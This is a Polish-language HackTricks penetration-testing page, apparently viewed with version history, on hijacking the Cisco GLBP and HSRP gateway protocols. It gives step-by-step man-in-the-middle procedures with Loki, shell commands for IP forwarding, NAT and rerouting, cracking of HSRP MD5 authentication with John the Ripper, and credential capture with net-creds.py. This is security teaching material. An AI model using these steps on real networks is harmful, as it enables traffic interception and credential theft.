hacktricks/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md

151 lines
10 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# Ataki GLBP i HSRP
2022-09-30 10:27:15 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-02-02 12:19:57 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-09-30 10:27:15 +00:00
</details>
2024-02-11 01:46:25 +00:00
## Przegląd ataków FHRP Hijacking
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
### Wprowadzenie do FHRP
FHRP został zaprojektowany w celu zapewnienia niezawodności sieci poprzez połączenie wielu routerów w jednostkę wirtualną, co zwiększa rozłożenie obciążenia i odporność na awarie. Cisco Systems wprowadził w tej grupie prominentne protokoły, takie jak GLBP i HSRP.
2024-02-03 14:45:32 +00:00
2024-02-11 01:46:25 +00:00
### Informacje o protokole GLBP
GLBP, stworzony przez Cisco, działa na stosie TCP/IP, wykorzystując UDP na porcie 3222 do komunikacji. Routery w grupie GLBP wymieniają pakiety "hello" co 3 sekundy. Jeśli router nie wysyła tych pakietów przez 10 sekund, uważa się go za offline. Jednak te timery nie są stałe i mogą być modyfikowane.
2024-02-03 14:45:32 +00:00
2024-02-11 01:46:25 +00:00
### Operacje i rozłożenie obciążenia w GLBP
GLBP wyróżnia się umożliwieniem rozłożenia obciążenia między routerami za pomocą jednego wirtualnego adresu IP i wielu wirtualnych adresów MAC. W grupie GLBP każdy router bierze udział w przekazywaniu pakietów. W odróżnieniu od HSRP/VRRP, GLBP oferuje prawdziwe równoważenie obciążenia za pomocą kilku mechanizmów:
2024-02-03 14:45:32 +00:00
2024-02-11 01:46:25 +00:00
- **Równoważenie obciążenia zależne od hosta:** Utrzymuje stałe przypisanie adresu MAC AVF do hosta, co jest istotne dla stabilnych konfiguracji NAT.
- **Równoważenie obciążenia typu Round-Robin:** Domyślne podejście, polegające na naprzemiennym przypisywaniu adresu MAC AVF żądającym hostom.
- **Równoważenie obciążenia typu Weighted Round-Robin:** Rozkłada obciążenie na podstawie predefiniowanych metryk "Weight".
2024-02-03 14:45:32 +00:00
2024-02-11 01:46:25 +00:00
### Kluczowe komponenty i terminologia w GLBP
- **AVG (Active Virtual Gateway):** Główny router odpowiedzialny za przydzielanie adresów MAC routerom równorzędnym.
- **AVF (Active Virtual Forwarder):** Router wyznaczony do zarządzania ruchem sieciowym.
- **Priorytet GLBP:** Metryka określająca AVG, zaczynająca się od domyślnej wartości 100 i mieszcząca się w zakresie od 1 do 255.
- **Waga GLBP:** Odzwierciedla obecne obciążenie routera, które można dostosować ręcznie lub za pomocą śledzenia obiektów.
- **Wirtualny adres IP GLBP:** Służy jako domyślna brama sieciowa dla wszystkich podłączonych urządzeń.
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
Do interakcji GLBP wykorzystuje zarezerwowany adres multicastowy 224.0.0.102 i port UDP 3222. Routery wysyłają pakiety "hello" co 3 sekundy i są uważane za nieoperacyjne, jeśli pakiet zostanie pominięty przez okres 10 sekund.
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
### Mechanizm ataku GLBP
Atakujący może stać się głównym routerem, wysyłając pakiet GLBP z najwyższą wartością priorytetu (255). Może to prowadzić do ataków typu DoS lub MITM, umożliwiających przechwytywanie lub przekierowywanie ruchu.
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
### Wykonanie ataku GLBP za pomocą Loki
[Loki](https://github.com/raizo62/loki_on_kali) może przeprowadzić atak GLBP poprzez wstrzyknięcie pakietu z ustawionymi priorytetem i wagą na 255. Kroki przed atakiem obejmują zbieranie informacji, takich jak wirtualny adres IP, obecność uwierzytelniania i wartości priorytetu routera za pomocą narzędzi takich jak Wireshark.
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
Kroki ataku:
1. Przełącz się w tryb promiskuitywny i włącz przekazywanie IP.
2. Zidentyfikuj docelowy router i pobierz jego adres IP.
3. Wygeneruj Gratuitous ARP.
4. Wstrzyknij złośliwy pakiet GLBP, podszywając się pod AVG.
5. Przypisz drugi adres IP do interfejsu sieciowego atakującego, odzwierciedlając wirtualny adres IP GLBP.
6. Wdroż SNAT dla pełnej widoczności ruchu.
7. Dostosuj trasowanie, aby zapewnić kontynuowany dostęp do Internetu przez oryginalny router AVG.
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
Postępując zgodnie z tymi krokami, atakujący staje się "człowiekiem pośrednim", zdolnym do przechwytywania i analizowania ruchu sieciowego, w tym danych niezaszyfrowanych lub wrażliwych.
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
Poniżej znajdują się wymagane fragmenty poleceń do demonstracji:
2024-02-03 14:45:32 +00:00
```bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
2022-09-30 10:27:15 +00:00
2024-02-03 14:45:32 +00:00
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
2022-09-30 10:27:15 +00:00
2024-02-03 14:45:32 +00:00
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
2022-09-30 10:27:15 +00:00
```
2024-02-11 01:46:25 +00:00
Monitorowanie i przechwytywanie ruchu można przeprowadzić za pomocą narzędzi takich jak net-creds.py w celu przechwycenia i analizy danych przepływających przez skompromitowaną sieć.
### Pasywne wyjaśnienie ataku HSRP Hijacking z szczegółami poleceń
#### Przegląd protokołu HSRP (Hot Standby Router/Redundancy Protocol)
HSRP to protokół własnościowy firmy Cisco, zaprojektowany do zapewnienia redundancji bramy sieciowej. Umożliwia konfigurację wielu fizycznych routerów w jednostkę logiczną o wspólnym adresie IP. Ta jednostka logiczna jest zarządzana przez router główny, który odpowiada za kierowanie ruchem. W przeciwieństwie do GLBP, który wykorzystuje metryki takie jak priorytet i waga do równoważenia obciążenia, HSRP polega na pojedynczym aktywnym routerze do zarządzania ruchem.
#### Role i terminologia w HSRP
- **Aktywny router HSRP**: Urządzenie pełniące rolę bramy, zarządzające przepływem ruchu.
- **Rezerwowy router HSRP**: Rezerwowy router gotowy do przejęcia roli aktywnego routera w przypadku awarii.
- **Grupa HSRP**: Zbiór routerów współpracujących w celu utworzenia jednego odpornego wirtualnego routera.
- **Adres MAC HSRP**: Wirtualny adres MAC przypisany do logicznego routera w konfiguracji HSRP.
- **Wirtualny adres IP HSRP**: Wirtualny adres IP grupy HSRP, działający jako domyślna brama dla podłączonych urządzeń.
#### Wersje HSRP
HSRP występuje w dwóch wersjach, HSRPv1 i HSRPv2, różniących się głównie pojemnością grupy, wykorzystaniem adresów IP multicast oraz strukturą wirtualnego adresu MAC. Protokół wykorzystuje określone adresy IP multicast do wymiany informacji o usłudze, wysyłając pakiety Hello co 3 sekundy. Jeśli w ciągu 10 sekund nie zostanie odebrany żaden pakiet, router jest uważany za nieaktywny.
#### Mechanizm ataku HSRP
Ataki HSRP polegają na przymusowym przejęciu roli Aktywnego Routera poprzez wstrzyknięcie maksymalnej wartości priorytetu. Może to prowadzić do ataku typu Man-In-The-Middle (MITM). Istotne kroki przed atakiem obejmują zbieranie danych na temat konfiguracji HSRP, co można zrobić za pomocą programu Wireshark do analizy ruchu.
#### Kroki do obejścia uwierzytelniania HSRP
1. Zapisz ruch sieciowy zawierający dane HSRP jako plik .pcap.
```shell
tcpdump -w hsrp_traffic.pcap
```
2. Wyodrębnij skróty MD5 z pliku .pcap za pomocą hsrp2john.py.
```shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
```
3. Odszyfruj skróty MD5 za pomocą programu John the Ripper.
```shell
john --wordlist=mywordlist.txt hsrp_hashes
```
**Wykonanie wstrzyknięcia HSRP za pomocą Loki**
1. Uruchom Loki, aby zidentyfikować reklamy HSRP.
2. Ustaw interfejs sieciowy w tryb promiskuitywny i włącz przekazywanie pakietów IP.
```shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
```
3. Użyj Loki, aby zaatakować określony router, wprowadź odszyfrowane hasło HSRP i wykonaj niezbędne konfiguracje w celu podszywania się pod Aktywnego Routera.
4. Po przejęciu roli Aktywnego Routera skonfiguruj interfejs sieciowy i tabele IP, aby przechwytywać prawidłowy ruch.
```shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
5. Zmodyfikuj tablicę routingu, aby kierować ruch przez poprzedniego Aktywnego Routera.
```shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
6. Użyj narzędzia net-creds.py lub podobnego, aby przechwycić dane uwierzytelniające z przechwyconego ruchu.
```shell
sudo python2 net-creds.py -i eth0
```
Wykonanie tych kroków umieszcza atakującego w pozycji do przechwytywania i manipulowania ruchem, podobnie jak w przypadku przejęcia GLBP. Uwydatnia to podatność protokołów redundancji takich jak HSRP i konieczność stosowania solidnych środków bezpieczeństwa.
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
## Odwołania
2024-02-03 14:45:32 +00:00
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
2022-09-30 10:27:15 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-09-30 10:27:15 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-02-02 12:19:57 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-09-30 10:27:15 +00:00
</details>